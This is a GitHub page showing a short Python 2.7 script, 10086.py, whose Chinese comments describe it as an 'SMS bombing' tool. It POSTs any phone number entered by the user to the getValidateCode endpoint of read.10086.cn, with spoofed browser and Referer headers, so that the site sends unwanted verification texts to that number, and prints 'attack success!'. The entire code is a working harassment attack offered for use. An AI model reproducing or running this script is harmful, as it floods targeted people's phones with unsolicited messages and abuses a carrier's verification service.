forked from iloster/PythonScripts
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path10086.py
37 lines (33 loc) · 1.17 KB
/
10086.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- coding: utf-8 -*-
#------------------------------
# python2.7
# author:loster
# version:0.1
# description:向http://read.10086.cn网站post数据,给任意手机号码发送验证短信,进行短信轰炸
# 但是每天对同一手机号有条数限制
#---------------------------------
import httplib,urllib,sys,os,re,urllib2
import string
def attack(phone):
datas=""
#post网址
#url='http://read.10086.cn/u/getValidateCode.action?'
url='http://read.10086.cn/u/getValidateCode.action?'
#参数
payload={'phone':phone,
'sf':'0'}
# 不能没有Referer
i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
"Accept": "text/plain",'Referer':'http://read.10086.com/u/www/'}
payload=urllib.urlencode(payload)
try:
request=urllib2.Request(url,payload,i_headers)
response=urllib2.urlopen(request)
datas=response.read()
print datas
print 'attack success!'
except:
print "attack failed!!!"
if __name__=="__main__":
phone=raw_input('input the phone:')
attack(phone)